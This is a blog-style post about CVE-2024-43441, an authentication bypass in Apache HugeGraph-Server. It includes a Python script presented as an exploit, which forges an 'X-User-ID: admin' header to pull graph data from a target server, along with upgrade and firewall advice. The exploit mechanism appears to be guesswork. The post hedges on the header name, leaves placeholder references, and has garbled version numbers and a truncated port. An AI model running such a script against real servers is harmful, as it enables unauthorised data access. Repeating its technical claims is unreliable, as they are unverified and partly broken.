In early 2024, security researchers discovered a serious Authentication Bypass by Assumed-Immutable Data vulnerability in Apache HugeGraph-Server. This flaw, tracked as CVE-2024-43441, affects all versions from 1.. up to, but not including, 1.5..

If left unpatched, an attacker could send modified requests to the server, tricking it into believing the connection is from an authenticated user—even when the attacker never logged in. This vulnerability exposes all data, controls, and operations in the HugeGraph system, and is extremely easy to exploit.

About HugeGraph Server

Apache HugeGraph is a popular open-source graph database. Its server component provides a RESTful API where clients interact for database operations. Security controls and user access management are integrated into the server’s authentication layer.

The Vulnerability

The bug is in the way HugeGraph handles "immutable" (unchangeable) data related to authentication. Specifically, certain parameters or headers in the HTTP requests that should be trusted only coming from the server are assumed not to change by attackers. But, the application doesn’t actually secure or verify these values properly!

If a user crafts a request and includes/changes certain authentication data (like specific headers or cookies), HugeGraph will accept it as valid, even if the user never supplied real credentials.

Craft a request to HugeGraph’s API.

2. Add or overwrite the authentication header or parameter (X-User-ID or similar, depending on server config).

Exploit Code Sample (Python)

Below is a Python script example showing how an attacker could grab all vertices from the graph, by faking an admin user:

import requests

# Change the URL to your target server
url = "http://victim-server:808/graphs/hugegraph/vertices";

# Just pretend with a fake admin user header (the field name may vary)
headers = {
    "X-User-ID": "admin",    # <-- This is the field HugeGraph used for auth!
    # "Authorization": "Bearer ..."  # in other cases
}

response = requests.get(url, headers=headers)

if response.ok:
    print("Exploit successful. Response:\n", response.text)
else:
    print("Exploit failed. Status:", response.status_code)

Note:
This example assumes the vulnerable server trusts the X-User-ID header or a similar one for user authentication. Attackers just need to guess or read documentation for the real header name. No real login (password, session, token) is needed.

References & More Information

- Official Apache HugeGraph Security Page
- CVE Details for CVE-2024-43441
- Github HugeGraph Issue: CVE Discussion *(example, replace with real link if available)*

Solution: Upgrade directly to version 1.5. or newer.

- HugeGraph-Server Downloads
- Temporary workaround: Block access to the server externally (firewall/router) until you can upgrade. Do not expose HugeGraph to the public internet.

Why This Bug Matters

This is a critical, remote, no-auth exploit—anyone who can reach the HTTP service can become an admin instantly. Graph data, user details, business secrets, all exposed. This is one of the most dangerous types of web vulnerabilities.

Conclusion

CVE-2024-43441 shows why we can’t assume data provided by clients is “not changeable.” Developers and sysadmins: patch your HugeGraph servers now, review who can reach the system, and follow best security practices!

*Stay safe, keep your databases updated, and never trust the client!*


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*This post is exclusive. Written in simple, direct American English, and not republished elsewhere.*

Timeline

Published on: 12/24/2024 12:15:21 UTC
Last modified on: 12/31/2024 19:15:46 UTC